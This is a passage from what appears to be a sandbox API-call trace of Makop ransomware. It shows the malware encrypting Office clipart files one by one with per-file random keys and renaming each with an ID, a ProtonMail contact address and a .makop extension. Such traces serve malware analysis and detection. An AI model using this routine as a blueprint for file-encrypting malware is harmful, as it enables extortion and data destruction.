lpOverlapped=0x0) returned 1 [0117.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.986] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.986] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.986] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf40, lpOverlapped=0x0) returned 1 [0117.986] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf40, dwBufLen=0xf40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf40) returned 1 [0117.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf40, lpOverlapped=0x0) returned 1 [0117.987] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.987] SetEndOfFile (hFile=0xf0) returned 1 [0117.993] GetProcessHeap () returned 0x48a0000 [0117.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.994] GetProcessHeap () returned 0x48a0000 [0117.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.994] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.996] CloseHandle (hObject=0xf0) returned 1 [0117.996] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0117.996] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0117.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.051] GetProcessHeap () returned 0x48a0000 [0118.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.051] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0118.056] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.056] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.056] GetProcessHeap () returned 0x48a0000 [0118.056] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.056] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.056] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.056] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.057] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.057] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.057] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.058] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x45be, lpOverlapped=0x0) returned 1 [0118.059] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45c0) returned 1 [0118.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x45c0, lpOverlapped=0x0) returned 1 [0118.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.060] SetEndOfFile (hFile=0xf0) returned 1 [0118.066] GetProcessHeap () returned 0x48a0000 [0118.066] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.066] GetProcessHeap () returned 0x48a0000 [0118.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.067] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.069] CloseHandle (hObject=0xf0) returned 1 [0118.069] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0118.069] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0118.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.070] GetProcessHeap () returned 0x48a0000 [0118.070] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.070] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0118.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.078] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.078] GetProcessHeap () returned 0x48a0000 [0118.079] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.079] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.079] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.080] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.080] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.080] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x45be, lpOverlapped=0x0) returned 1 [0118.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45c0) returned 1 [0118.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x45c0, lpOverlapped=0x0) returned 1 [0118.083] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.083] SetEndOfFile (hFile=0xf0) returned 1 [0118.089] GetProcessHeap () returned 0x48a0000 [0118.089] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.089] GetProcessHeap () returned 0x48a0000 [0118.089] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.089] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.091] CloseHandle (hObject=0xf0) returned 1 [0118.091] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0118.091] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0118.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.093] GetProcessHeap () returned 0x48a0000 [0118.093] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.093] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.100] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.100] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.100] GetProcessHeap () returned 0x48a0000 [0118.100] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.100] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.101] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.102] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x133f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x133f8, lpOverlapped=0x0) returned 1 [0118.108] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13400, dwBufLen=0x13400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13400) returned 1 [0118.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13400, lpOverlapped=0x0) returned 1 [0118.109] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x134d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.109] SetEndOfFile (hFile=0xf0) returned 1 [0118.117] GetProcessHeap () returned 0x48a0000 [0118.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.117] GetProcessHeap () returned 0x48a0000 [0118.118] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.118] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.119] CloseHandle (hObject=0xf0) returned 1 [0118.119] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0118.119] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0118.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.121] GetProcessHeap () returned 0x48a0000 [0118.121] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.121] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.122] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.129] GetProcessHeap () returned 0x48a0000 [0118.129] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.129] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.129] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, 